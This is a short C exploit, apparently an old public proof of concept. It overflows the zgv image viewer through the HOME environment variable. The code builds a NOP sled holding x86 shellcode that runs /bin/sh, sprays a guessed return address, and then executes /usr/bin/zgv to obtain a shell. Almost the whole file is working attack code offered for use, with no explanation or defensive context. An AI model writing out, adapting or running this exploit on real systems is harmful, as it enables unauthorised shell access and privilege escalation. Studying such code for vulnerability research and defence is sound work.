// Another zgv overflow..
// by bind..

#include <stdio.h>
#include <strings.h>

#define RET 0xbffff370

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv)
{
  char buffer[1028];
  int i, offset = 0;
  unsigned long addr;

  if(argc > 1) offset = atoi(argv[1]);

  addr = RET - offset;

  printf("Using address: 0x%x\n",addr);

  memset(buffer,0x90,1028);
  memcpy(buffer+700, shellcode, strlen(shellcode));
 
  for(i = (strlen(shellcode) + 799); i <= 1028; i += 4)
    *(long *)&buffer[i] = addr;

  setenv("HOME",buffer,1);
  execl("/usr/bin/zgv","zgv",NULL);
}